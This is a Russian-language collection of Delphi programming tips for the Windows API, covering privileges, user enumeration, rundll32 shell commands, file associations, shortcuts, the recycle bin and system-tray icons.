  if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
    hToken) then ShowMessage('OpenProcessToken error');
  if not GetTokenInformation(hToken, TokenPrivileges, pTokenInfo, TokenSize, ReturnLen) then
    ShowMessage('GetTokenInformation error');
  GetMem(PrivName, 255);
  GetMem(DisplayName, 255);
  for i := 0 to pTokenInfo.PrivilegeCount - 1 do
  begin
    DisplSize := 255;
    NameSize  := 255;
    LookupPrivilegeName(nil, pTokenInfo.Privileges[i].Luid, PrivName, Namesize);
    LookupPrivilegeDisplayName(nil, PrivName, DisplayName, DisplSize, LangId);
    ListBox1.Items.Add(PrivName +^I + DisplayName);
  end;
  FreeMem(PrivName);
  FreeMem(DisplayName);
  FreeMem(pTokenInfo);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Проверить запущена ли программа от System account?

function OnSystemAccount(): Boolean;
const
  cnMaxNameLen = 254;
var
  sName: string;
  dwNameLen: DWORD;
begin
  dwNameLen := cnMaxNameLen - 1;
  SetLength(sName, cnMaxNameLen);
  GetUserName(PChar(sName), dwNameLen);
  SetLength(sName, dwNameLen);
  if UpperCase(Trim(sName)) = 'SYSTEM' then Result := True
  else
    Result := False;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Запуск процесса в контексте другого пользователя

uses
  JwaWinBase; ( http://members.chello.nl/m.vanbrakel2/ )

//...

procedure TForm1.Button1Click(Sender: TObject);
var
  si: STARTUPINFOW;
  pif: PROCESS_INFORMATION;
  res: Bool;
  s: string;
begin
  //set StartUpInfoW first
  si.cb := SizeOf(startupinfow);
  si.dwFlags  := STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_SHOWDEFAULT;
  si.lpReserved := nil;
  si.lpDesktop := nil;
  si.lpTitle := 'Konsole';
  // run CreateProcessWithLogonW...
  res := CreateProcessWithLogonW('Security', 'ArViCor', 'test', LOGON_WITH_PROFILE,
    'c:\win2kas\system32\regedt32.exe', nil
    , CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pif);
  if booltostr(res) = '0' then
  begin

    //if an error occures, show the error-code
    //this code can be 'translated' with 'net helpmsg ' on command-prompt
    str(GetLastError, s);
    ShowMessage('CreateProcessWithLogonResult: ' + booltostr(res) + #10 +
      'GetLastError: ' + s);
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Получить список пользователей

GetLocalUserList - возвращает список пользователей (Windows NT, Windows 2000)

unit Func;

interface

uses Sysutils, Classes, Stdctrls, Comctrls, Graphics, Windows;

////////////////////////////////////////////////////////////////////////////////
{$EXTERNALSYM NetUserEnum}
function NetUserEnum(servername: LPWSTR;

  level,
  filter: DWORD;
  bufptr: Pointer;
  prefmaxlen: DWORD;
  entriesread,
  totalentries,
  resume_handle: LPDWORD): DWORD; stdcall;
external 'NetApi32.dll' Name 'NetUserEnum';

function NetApiBufferFree(Buffer: Pointer {LPVOID}): DWORD; stdcall;

external 'NetApi32.dll' Name 'NetApiBufferFree';
////////////////////////////////////////////////////////////////////////////////

procedure GetLocalUserList(ulist: TStringList);

implementation

//------------------------------------------------------------------------------
// возвращает список пользователей локального хоста
//------------------------------------------------------------------------------

procedure GetLocalUserList(ulist: TStringList);
const

  NERR_SUCCESS = 0;
  FILTER_TEMP_DUPLICATE_ACCOUNT = $0001;
  FILTER_NORMAL_ACCOUNT = $0002;
  FILTER_PROXY_ACCOUNT = $0004;
  FILTER_INTERDOMAIN_TRUST_ACCOUNT = $0008;
  FILTER_WORKSTATION_TRUST_ACCOUNT = $0010;
  FILTER_SERVER_TRUST_ACCOUNT = $0020;

type

  TUSER_INFO_10 = record
    usri10_name,
      usri10_comment,
      usri10_usr_comment,
      usri10_full_name: PWideChar;
  end;
  PUSER_INFO_10 = ^TUSER_INFO_10;

var

  dwERead, dwETotal, dwRes, res: DWORD;
  inf: PUSER_INFO_10;
  info: Pointer;
  p: PChar;
  i: Integer;
begin

  if ulist = nil then
    Exit;
  ulist.Clear;

  info := nil;
  dwRes := 0;
  res := NetUserEnum(nil,
    10,
    FILTER_NORMAL_ACCOUNT,
    @info,
    65536,
    @dwERead,
    @dwETotal,
    @dwRes);
  if (res <> NERR_SUCCESS) or (info = nil) then
    Exit;
  p := PChar(info);
  for i := 0 to dwERead - 1 do
  begin
    inf := PUSER_INFO_10(p + i * SizeOf(TUSER_INFO_10));
    ulist.Add(WideCharToString(PWideChar((inf^).usri10_name)));
  end;

  NetApiBufferFree(info);
end;

end.

Автор: Кондратюк Виталий

Взято с http://delphiworld.narod.ru


Команды Windows

Cодержание раздела:

Выполняем встроенные команды Windows
Как пользоваться командой шела - MinimizeAll?


Выполняем встроенные команды Windows

Автор: Ruslan Abu Zant
Компилятор: Delphi 4.x (или выше)

Впринципе эти команды можно запускать в меню "Выполнить..." (Run), кнопки Пуск. Ну а в Delphi они запускаются путём всем извесной команды winexec(Pchar('ABCD'),sw_Show);
где 'ABCD' - одна из следующих команд ...

"rundll32 shell32,Control_RunDLL" - Запустить Панель Управления

"rundll32 shell32,OpenAs_RunDLL" - Открыть диалог "Открыть Как ..." ('Open With...')

"rundll32 shell32,ShellAboutA Info-Box" - Открыть 'About Window Window'

"rundll32 shell32,Control_RunDLL desk.cpl" - Открыть диалог "Свойства: Экран" (Display Properties)

"rundll32 user,cascadechildwindows" - Выстроить все окна каскадно

"rundll32 user,tilechildwindows" - Свернуть все окна

"rundll32 user,repaintscreen" - Обновить Десктоп

"rundll32 shell,shellexecute Explorer" - Перезапустить Проводник

"rundll32 keyboard,disable" - Заблокировать Клавиатуру

"rundll32 mouse,disable" - Запретить мышку

"rundll32 user,swapmousebutton" - Поменять кнопки мыши

"rundll32 user,setcursorpos" - Установить Курсор в позицию (0,0)

"rundll32 user,wnetconnectdialog" - Показать диалог "Подключить сетевой диск" ('Map Network Drive')

"rundll32 user,wnetdisconnectdialog" - Показать диалог "Отключить сетевой диск" ('Disconnect Network Disk')

"rundll32 user,disableoemlayer" - Отобразить окно BSOD ('''(BSOD) = Blue Screen Of Death ''')

"rundll32 diskcopy,DiskCopyRunDll" - Показать диалог копирования диска

"rundll32 rnaui.dll,RnaWizard" - Запустить 'Internet Connection Wizard'
"rundll32 shell32,SHFormatDrive" - Запустить окно форматирования дискеты ('Format Disk (A)')

"rundll32 shell32,SHExitWindowsEx -1" - "Холодный" перезапуск Проводника

"rundll32 shell32,SHExitWindowsEx 1" - Выключить компьютер

"rundll32 shell32,SHExitWindowsEx 0" - Завершить сеанс текущего пользователя

"rundll32 shell32,SHExitWindowsEx 2" Быстрый перезапуск Windows9x

"rundll32 krnl386.exe,exitkernel" - Выход из Windows 9x без потверждения

"rundll rnaui.dll,RnaDial "MyConnect" - Запустить диалог 'Net Connection'

"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - Выбор и печать тестовой страницы текущего принтера

"rundll32 user,setcaretblinktime" - Усатновить скорость мигания курсора

"rundll32 user, setdoubleclicktime" - Установить скорость двойного нажатия

"rundll32 sysdm.cpl,InstallDevice_Rundll" - Поиск устройств не PnP.

Взято из http://forum.sources.ru


Как пользоваться командой шела - MinimizeAll?

Для этого надо импортировать Microsoft Shell Controls & Automation Type Library.

В меню Project..Import Type Library

Выберите Microsoft Shell Controls & Automation (version 1.0).

Нажмите Install...

На панели компонентов, в закладке ActiveX появится несколько компонентов. Перетащите на форму компонент TShell. После этого, например, можно всё минимизировать:

Shell1.MinimizeAll;

/*********************************************************************
  Так же в этом компоненте присутствует давольно много забавных примочек.
*********************************************************************/
procedure TForm1.Shell(sMethod: Integer);
begin
  case sMethod of
  0:
     //Минимизируем все окна на рабочем столе
   begin
     Shell1.MinimizeAll;
     Button1.Tag := Button1.Tag + 1;
   end;
  1:
     //Показываем диалоговое окошко Run
   begin
     Shell1.FileRun;
     Button1.Tag := Button1.Tag + 1;
   end;
  2:
     //Показываем окошко завершения работы Windows
   begin
     Shell1.ShutdownWindows;
     Button1.Tag := Button1.Tag + 1;
   end;
  3:
     //Показываем окно поиска файлов
   begin
     Shell1.FindFiles;
     Button1.Tag := Button1.Tag + 1;
   end;
  4:
     //Отображаем окно настройки времени и даты
   begin
     Shell1.SetTime;
     Button1.Tag := Button1.Tag + 1;
   end;
  5:
     //Показываем диалоговое окошко настройки интернета (Internet Properties)
   begin
     Shell1.ControlPanelItem('INETCPL.cpl');
     Button1.Tag := Button1.Tag + 1;
   end;
  6:
     //Предлагаем пользователю выбрать директорию из Program Files
   begin
     Shell1.BrowseForFolder(0, 'My Programs', 0, 'C:\Program Files');
     Button1.Tag := Button1.Tag + 1;
   end;
  7:
     //Показываем диалоговое окошко настройки панели задач
   begin
     Shell1.TrayProperties;
     Button1.Tag := Button1.Tag + 1;
   end;
   8:
     //Восстанавливаем все окна на рабочем столе
   begin
     Shell1.UndoMinimizeAll;
     Button1.Tag := 0;
   end;
  end; {case}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Shell(Button1.Tag);
end;

Взято из http://forum.sources.ru


Ярлыки, файловые ассоциации, расширения

Cодержание раздела:

Как зарегистрировать своё расширение?
Как программно создать ярлык?
Как показать иконку, ассоциированной с данным типом файла?
Как прочитать shortcut's link information?
Как зарегистрировать свой пункт в меню для моего типа файлов?
Как удалить/восстановить файлы из корзины?
Как создать ShortCut файл (.LNK)?
Как получить список всех расширений и их ассоциаций? New!

См. также статьи в других разделах:
Как показать File Properties dialog?
Как открыть диалог создания ярлыка?
Как извлечь иконку из файла ярлыка? New!


Как зарегистрировать своё расширение?

Uses Registry;

procedure RegisterFileType(FileType,FileTypeName, Description,ExecCommand:string);
begin
if (FileType='') or (FileTypeName='') or (ExecCommand='') then exit;
if FileType[1]<>'.' then FileType:='.'+FileType;
if Description='' then Description:=FileTypeName;
with Treginifile.create do
try
rootkey := hkey_classes_root;
writestring(FileType,'',FileTypeName);
writestring(FileTypeName,'',Description);
writestring(FileTypeName+'\shell\open\command','',ExecCommand+' "%1"');
finally
free;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
RegisterFileType('txt','TxtFile', 'Plain text','notepad.exe');
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ruhttp://forum.vingrad.ru


Как программно создать ярлык?

Автор: Gavrilo

uses ShlObj, ComObj, ActiveX;

  procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
  var
    IObject: IUnknown;
    SLink: IShellLink;
    PFile: IPersistFile;
  begin
    IObject := CreateComObject(CLSID_ShellLink);
    SLink := IObject as IShellLink;
    PFile := IObject as IPersistFile;
    with SLink do begin
      SetArguments(PChar(Param));
      SetDescription(PChar(Desc));
      SetPath(PChar(PathObj));
    end;
    PFile.Save(PWChar(WideString(PathLink)), FALSE);
  end;

Взято из http://forum.sources.ru


Как показать иконку, ассоциированную с данным типом файла?

ShellApi функция ExtractAssociatedIcon()

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
  Icon: hIcon;
  IconIndex: word;

begin
  IconIndex := 1;
  Icon := ExtractAssociatedIcon(HInstance,
    Application.ExeName,
    IconIndex);
  DrawIcon(Canvas.Handle, 10, 10, Icon);
end;

Взято с сайта http://blackman.wp-club.net/


Как прочитать shortcut's link information?

uses
  ShlObj,
  ComObj,
  ActiveX,
  CommCtrl;

type
  PShellLinkInfoStruct = ^TShellLinkInfoStruct;
  TShellLinkInfoStruct = record
    FullPathAndNameOfLinkFile: array[0..MAX_PATH] of Char;
    FullPathAndNameOfFileToExecute: array[0..MAX_PATH] of Char;
    ParamStringsOfFileToExecute: array[0..MAX_PATH] of Char;
    FullPathAndNameOfWorkingDirectroy: array[0..MAX_PATH] of Char;
    Description: array[0..MAX_PATH] of Char;
    FullPathAndNameOfFileContiningIcon: array[0..MAX_PATH] of Char;
    IconIndex: Integer;
    HotKey: Word;
    ShowCommand: Integer;
    FindData: TWIN32FINDDATA;
  end;

procedure GetLinkInfo(lpShellLinkInfoStruct: PShellLinkInfoStruct);
var
  ShellLink: IShellLink;
  PersistFile: IPersistFile;
  AnObj: IUnknown;
begin
  // access to the two interfaces of the object
  AnObj       := CreateComObject(CLSID_ShellLink);
  ShellLink   := AnObj as IShellLink;
  PersistFile := AnObj as IPersistFile;

  // Opens the specified file and initializes an object from the file contents.
  PersistFile.Load(PWChar(WideString(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile)), 0);
  with ShellLink do
  begin
    // Retrieves the path and file name of a Shell link object.
    GetPath(lpShellLinkInfoStruct^.FullPathAndNameOfFileToExecute,
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile),
      lpShellLinkInfoStruct^.FindData,
      SLGP_UNCPRIORITY);

    // Retrieves the description string for a Shell link object.
    GetDescription(lpShellLinkInfoStruct^.Description,
      SizeOf(lpShellLinkInfoStruct^.Description));

    // Retrieves the command-line arguments associated with a Shell link object.
    GetArguments(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute,
      SizeOf(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute));

    // Retrieves the name of the working directory for a Shell link object.
    GetWorkingDirectory(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy,
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy));

    // Retrieves the location (path and index) of the icon for a Shell link object.
    GetIconLocation(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon,
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon),
      lpShellLinkInfoStruct^.IconIndex);

    // Retrieves the hot key for a Shell link object.
    GetHotKey(lpShellLinkInfoStruct^.HotKey);

    // Retrieves the show (SW_) command for a Shell link object.
    GetShowCmd(lpShellLinkInfoStruct^.ShowCommand);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
const
  br = #13#10;
var
  LinkInfo: TShellLinkInfoStruct;
  s: string;
begin
  FillChar(LinkInfo, SizeOf(LinkInfo), #0);
  LinkInfo.FullPathAndNameOfLinkFile := 'C:\WINNT\Profiles\user\Desktop\FileName.lnk';
  GetLinkInfo(@LinkInfo);
  with LinkInfo do
    s := FullPathAndNameOfLinkFile + br +
      FullPathAndNameOfFileToExecute + br +
      ParamStringsOfFileToExecute + br +
      FullPathAndNameOfWorkingDirectroy + br +
      Description + br +
      FullPathAndNameOfFileContiningIcon + br +
      IntToStr(IconIndex) + br +
      IntToStr(LoByte(HotKey)) + br +
      IntToStr(HiByte(HotKey)) + br +
      IntToStr(ShowCommand) + br +
      FindData.cFileName + br +
      FindData.cAlternateFileName;
  Memo1.Lines.Add(s);
end;

// Only for D3 or higher.
// for D1,D2 users: http://www.hitekdev.com/delphi/shellutlexamples.html

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как зарегистрировать свой пункт в меню для моего типа файлов?

uses
  Registry;

procedure AddFileMenue(FilePrefix, Menue, Command: string);
var
  reg: TRegistry;
  typ: string;
begin
  reg := TRegistry.Create;
  with reg do
  begin
    RootKey := HKEY_CLASSES_ROOT;
    OpenKey('.' + FilePrefix, True);
    typ := ReadString('');
    if typ = '' then
    begin
      typ := Fileprefix + 'file';
      WriteString('', typ);
    end;
    CloseKey;
    OpenKey(typ + '\shell\' + Menue + '\command', True);
    WriteString('', command + ' "%1"');
    CloseKey;
    Free;
  end;
end;

procedure DeleteFileMenue(Fileprefix, Menue: string);
var
  reg: TRegistry;
  typ: string;
begin
  reg := TRegistry.Create;
  with reg do
  begin
    RootKey := HKEY_CLASSES_ROOT;
    OpenKey('.' + Fileprefix, True);
    typ := ReadString('');
    CloseKey;
    OpenKey(typ + '\shell', True);
    DeleteKey(Menue);
    CloseKey;
    Free;
  end;
end;

{ Example}

procedure TForm1.Button1Click(Sender: TObject);
begin
  AddFileMenue('rtf', 'Edit with Notepad', 'C:\Windows\system\notepad.exe');

  {
    If you now click with the right mousebutton on a *.rtf-file then
    you can see a Menuepoint: "Edit with Notepad".
    When Click on that point Notepad opens the file.
  }
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  {
   Undo your changes in the Registry:
  }

  DeleteFileMenue('rtf', 'Edit with Notepad');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как удалить/восстановить файлы из корзины?

program del;

uses
  ShellApi;

//function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall;

var
  T: TSHFileOpStruct;
  P: string;
begin
  P := 'C:\Windows\System\EL_CONTROL.CPL';
  with T do
  begin
    Wnd := 0;
    wFunc := FO_DELETE;
    pFrom := Pchar(P);
    fFlags := FOF_ALLOWUNDO
  end;
  SHFileOperation(T);
end.

Восстановление

Есть некоторые причуды, и Вы должны помнить о следующем:

Дайте полный путь для каждого файла. Не доверяйте текущей директории, даже если Вы ее изменили непосредственно перед вызовом функции. Функция WinAPI SHFileOperation не достаточно "умная" для использования текущей директории при отсутствии информации о предыдущей директории (для осуществления функции восстановления). Так, даже если используете флаг FOF_ALLOWUNDO, это не восстановит удаленные файлы из корзины, поскольку функция ничего не знает о предыдущем месторасположении файлов, и, таким образом, не сможет их восстановить файлы из корзины в их оригинальное месторасположение. Она просто удалит файлы из текущей директории.
Microsoft скорректировала документацию о члене pFrom. Новая редакция сообщает о подробностях работы в пакетном режиме: необходимо разделить имя каждого файла символом NULL (#0) и добавить к концу списка двойной символ NULL. Терминатор из двух символов NULL необходим в любом случае: работаете вы с одним файлом, или же используете пакетный режим. Иногда это работает и без терминатора, но чаще нет. Это связано с тем, что функции при работе с памятью считывает данные из памяти, располагающейся до терминатора, а поскольку длина строки может не совпадать с распределенной памятью, то данные, находящиеся после терминатора, просто не обрабатываются.
Пример правильного кодирования:

var
  FileList: string;
  FOS: TShFileOpStruct;
begin
  FileList := 'c:\delete.me'#0'c:\windows\temp.$$$'#0#0;
  { если Вы используете имена файлов в строковых переменных: }
  FileList := Filename1 + #0 + Filename2 + #0#0;
  FOS.pFrom := PChar(FileList);
  // бла бла бла
end;

Взято с http://delphiworld.narod.ru


Как создать ShortCut файл (.LNK)?

uses ShlObj, ActiveX, ComObj;
...

procedure CreateShortCut(ShortCutName, Parameters, FileName: string);
var ShellObject: IUnknown;
  ShellLink: IShellLink;
  PersistFile: IPersistFile;
  FName: WideString;
begin
  ShellObject := CreateComObject(CLSID_ShellLink);
  ShellLink := ShellObject as IShellLink;
  PersistFile := ShellObject as IPersistFile;
  with ShellLink do
    begin
      SetArguments(PChar(Parameters));
      SetPath(PChar(FileName));
      SetWorkingDirectory(PChar(extractfilepath(FileName)));
      FName := ShortCutName;
      PersistFile.Save(PWChar(FName), False);
    end;
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как получить список всех расширений и их ассоциаций?

{
 This Code will return the programs associated with each extension.
 You can obviously modify it to search for a specific extension.
}

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  reg: TRegistry;
  keys: TStringList;
  i: Integer;
  typename, displayname, server: string;
begin
  memo1.Clear;
  reg := TRegistry.Create;
  try
    reg.rootkey := HKEY_CLASSES_ROOT;
    if reg.OpenKey('', False) then
    begin
      keys := TStringList.Create;
      try
        reg.GetKeyNames(keys);
        reg.CloseKey;
        {memo1.lines.addstrings(keys);}
        for i := 0 to keys.Count - 1 do
        begin
          if keys[i][1] = '.' then
          begin
            {this is an extension, get its typename}
            if reg.OpenKey(keys[i], False) then
            begin
              typename := reg.ReadString('');
              reg.CloseKey;
              if typename <> '' then
              begin
                if reg.OpenKey(typename, False) then
                begin
                  displayname := reg.ReadString('');
                  reg.CloseKey;
                end;
                if reg.OpenKey(typename + '\shell\open\command', False) then
                begin
                  server := reg.ReadString('');
                  memo1.Lines.Add(Format('Extension: "%s", Typename: "%s", Displayname:"%s"' +
                                         #13#10'  Server: %s',
                                         [keys[i], typename, displayname, server]));
                  reg.CloseKey;
                end;
              end;
            end;
          end;
        end;
      finally
        keys.Free;
      end;
    end;
  finally
    reg.Free
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


System tray

Cодержание раздела:

Что такое System Tray ? О чем идет речь?
Что такое иконка на System Tray?
Как свернуть прогу в tray?
Как скрыть часики в панели задач? Updated!
Как изменить иконку на Tray?
Как удалить иконку с Tray?
Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?
Как сделать Pop-Up меню при щелчке иконке в Sys tray?
Отображаем текст в System Tray.
Показываем/Скрываем System Tray
Как закрыть всплывающее меню в System Tray когда оно теряет фокус?
Как показать округлённое окошко подсказки в трее в Windows2000?

См. также статьи в других разделах:
Как открыть диалог смены системного времени?


Что такое System Tray ? О чем идет речь?

Если Вы в операционной сиcтеме Windows пользуетесь оболочкой Explorer, то справа на TaskBar'е Вы должны были видеть " углубленную" область в которой, обычно, помещаются часы, переключатель клавиатуры, регулятор громкости и некоторые другие утилиты. Они изображаются маленькими иконками и для них существуют ToolTip'ы как для кнопок ToolBar'ов. При щелчке или двойном щелчке по такой иконке программа обычно выполняет действие по умолчанию, а при щелчке правой кнопкой показывает Pop-Up меню. Hа уровне оболочки System Tray это приложение, поддерживающее окно, которое вы видите как " углубленную" область и некоторый сервис для работы с этим окном.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Что такое иконка на System Tray?

Иконка на Tray'е это просто картинка, а не окно какой-либо программы (исследование системы с помощью Microsoft Spy++ for Windows 95 показывает, что это не окно вообще). System Tray отслеживает события мыши над иконкой и, в случае надобности, показывает ToolTip для этой иконки. Так же он отсылает сообщения о всех действиях мыши над иконкой окну, которое поместило иконку на Tray. Таким образом, нельзя поместить программу на Tray. Любая программа может добавить стоько иконок на Tray, сколько ей необходимо. При этом главное окно программы не обязано исчезать или минимизироватся - примером может служить Microsoft Internet Mail, помещающая иконку " конверт" на Tray в случае появления новых писем.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Как свернуть прогу в tray?

Проще всего использовать RxTrayIcon компонент из библиотеки RxLib

procedure TForm1.ApplicationMinimize(Sender : TObject);
begin
RxTrayIcon1.Show;
ShowWindow(Application.Handle,SW_HIDE);
end;

procedure TForm1.RxTrayIcon1Click(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
Application.Restore;
SetForeGroundWindow(Application.MainForm.Handle);
RxTrayIcon1.Hide;
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Нет такого понятия "свернуть в трей". Есть возможность только добавлять, удалять и менять значок в области трея. Сама же программа просто прячется.
Для изменения значка в трее используется класс TShellNotifyIcon модуля ShellApi
Объявим следующую процедруру:
Параметры к ней такие: n - номер операции ( 1 - добавить, 2 - удалить, 3 - заменить) и Icon - сама иконка с которой будет делаться эта операция

Procedure TForm1.Ic(n:Integer;Icon:TIcon);
  Var Nim:TNotifyIconData;
begin
With Nim do
Begin
cbSize:=SizeOf(Nim);
Wnd:=Form1.Handle;
uID:=1;
uFlags:=NIF_ICON or NIF_MESSAGE or NIF_TIP;
hicon:=Icon.Handle;
uCallbackMessage:=wm_user+1;
szTip:='Хинт, который будет появляться у значка';
End;
Case n OF
1: Shell_NotifyIcon(Nim_Add,@Nim);
2: Shell_NotifyIcon(Nim_Delete,@Nim);
3: Shell_NotifyIcon(Nim_Modify,@Nim);
End;
end;

Теперь, нам нужно отловить минимизацию приложения, для того, чтобы заменить стандартное действие Windows на "свёртывание в трей". Объявляем в секции protected процедуру

protected

procedure ControlWindow(var Msg: TMessage); message WM_SYSCOMMAND;
...
    procedure TForm1.ControlWindow(var Msg: TMessage);
  begin
    if Msg.WParam = SC_MINIMIZE then
      begin
        Ic(1, Application.Icon); // Добавляем значок в трей
        ShowWindow(Handle, SW_HIDE); // Скрываем программу
      end
    else
      inherited;
  end;

Теперь нам нужно, чтобы значок в трее мог реагировать на манипуляции с ним. Если Вы внимательно посмотрите процедру Ic(), то Вы увидите там ссылку на сообщение WM_USER+1. Это не что иное, как сообщение, которое приходит нам от этого значка. Обычно для значка в трее делают всплывающее меню и выводят там те или иные действия. Но TPopUpMenu делается обычно для правой кнопки, по левой же просто активируют приложение. На форму кидаем комопонент TPopUpMenu (пусть это будет PopUpMenu1) и заносим в него все пункты меню, которые мы хотим, чтобы онм появилис в меню, которое будет всплывать по нажатию правой кнопки на значке.
После этого описываем обработчик: В вышеназванную секцию protected добавляем ещё одну процедуру IconMouse, которая будет реагировать на сообщение WM_USER+1

protected

procedure ControlWindow(var Msg: TMessage); message WM_SYSCOMMAND;
  procedure IconMouse(var Msg: TMessage); message WM_USER + 1;

    Теперь описываем собственно процедуру.

    procedure TForm1.IconMouse(var Msg: TMessage);
    var p: tpoint;
    begin
      GetCursorPos(p); // Запоминаем координаты курсора мыши
      case Msg.LParam of // Проверяем какая кнопка была нажата
        WM_LBUTTONUP, WM_LBUTTONDBLCLK: {Действия, выполняемый по одинарному или двойному щел?ку левой кнопки мыши на зна?ке. В нашем слу?ае это просто активация приложения}
          begin
            Ic(3, Applicattion.Icon); // Удаляем зна?ок из трея
            ShowWindow(Application.Handle, SW_SHOWNORMAL); // Восстанавливаем окно программы
          end;
        WM_RBUTTONUP: {Действия, выполняемый по одинарному щел?ку правой кнопки мыши}
          begin
            SetForegroundWindow(Handle); // Восстанавливаем программу в ка?естве переднего окна
            PopupMenu1.Popup(p.X, p.Y); // Заставляем всплыть тот самый TPopUp о котором я говорил ?уть раньше
            PostMessage(Handle, WM_NULL, 0, 0) // Обнуляем сообщение
          end;
      end;
    end;

Для выполнения пунктов всплывающего меню, пишите стандартные обработчики onClick() для его пунктов.

Данный опус писался только в форме, в IDE не тестировался . Всё работает конечно, но не обессудьте, если будут ошибочки мелкие.

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Для работы с SystemTray существует всего одна функция. Вот ее
Си-прототип:
WINSHELLAPI BOOL WINAPI Shell_NotifyIcon(
DWORD dwMessage, // message identifier
PNOTIFYICONDATA pnid // pointer to structure);

Эта функция описана в заголовочном файле Win32-SDK " shellapi.h" ,
включаемом в программу при включении " windows.h" . Параметр
dwMessage может принимать одно из трех значений: NIM_ADD,
NIM_DELETE, NIM_MODIFY. Для добавления иконки он должен быть
установлен в NIM_ADD.
Параметр pnid имеет тип PNOTIFYDATA, который описан как:
typedef struct _NOTIFYICONDATA { // nid
DWORD cbSize;
HWND hWnd;
UINT uID;
UINT uFlags;
UINT uCallbackMessage;
HICON hIcon;
char szTip[64];
} NOTIFYICONDATA, *PNOTIFYICONDATA;
Поля структуры NOTIFYICONDATA имеют следующий смысл:
cbSize - размер структуры, должен быть
sizeof(NOTIFYICONDATA).
hWnd - дескриптор окна, которое будет получать события
мыши над иконкой.
uID - уникальный идентификатор иконки. Идентификатор
должен быть уникален в пределах окна - обрабо-
тчика, передаваемого в hWnd.
uFlags - битовое поле, определяющее какое из следующих
полей несет действительную информацию.
Может быть одним из следующих значений: NIF_ICON,
NIF_MESSAGE, NIF_TIP или их OR-комбинацией.
uCallbackMessage - сообщение, передаваемое окну - обработчику при
событиях мыши. Желательно получать номер
сообщения вызовом RegisterWindowMessage(),
но допускаются и значения WM_USER+N, где N > 0.
hIcon - дескриптор иконки, помещаемой на Tray.
szTip - текст для ToolTip'а, если szTip[0] = 0x00, то
ToolTip'а не будет.
Таким образом, для добавления иконки на Tray необходимо
заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию
Shell_NotifyIcon() с параметром NIM_ADD и указателем на
заполненный экземпляр структуры.
При добавлении иконки необходимо заполнить поля cbSize, hWnd,
uID, uFlags, uCallbackMessage, hIcon. Поле szTip можно оставить
пустым, если вам не нужен ToolTip. Поле uFlags должно содержать
как минимум NIF_MESSAGE | NIF_ICON.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Как скрыть часики в панели задач?

Убираем часики:

procedure TForm1.Button1Click(Sender: TObject);
var hn: HWnd;
begin
  hn := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'TrayNotifyWnd', nil), 0, 'TrayClockWClass', nil);
  if hn <> 0 then
    ShowWindow(hn, SW_HIDE); //Bye,bye,Baby
end;

Снова показываем:

procedure TForm1.Button2Click(Sender: TObject);
var hn: HWnd;
begin
  hn := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'TrayNotifyWnd', nil), 0, 'TrayClockWClass', nil);
  if hn <> 0 then
    ShowWindow(hn, SW_SHOW); //Hello, again
end;

Взято из http://forum.sources.ru

function ShowTrayClock(bValue: Boolean) : Boolean;
var
  TrayWnd, TrayNWnd, ClockWnd: HWND;
begin
  TrayWnd  := FindWindow('Shell_TrayWnd', nil);
  TrayNWnd := FindWindowEx(TrayWnd, 0, 'TrayNotifyWnd', nil);
  ClockWnd := FindWindowEx(TrayNWnd, 0, 'TrayClockWClass', nil);
  Result := IsWindow(ClockWnd);
  if Result then
  begin
    ShowWindow(ClockWnd, Ord(bValue));
    PostMessage(ClockWnd, WM_PAINT, 0, 0);
  end;
end;

// Example to hide they clock:

procedure TForm1.Button1Click(Sender: TObject);
begin
   ShowTrayClock(Boolean(0));
end;

Взято с http://delphiworld.narod.ru


Как изменить иконку на Tray?

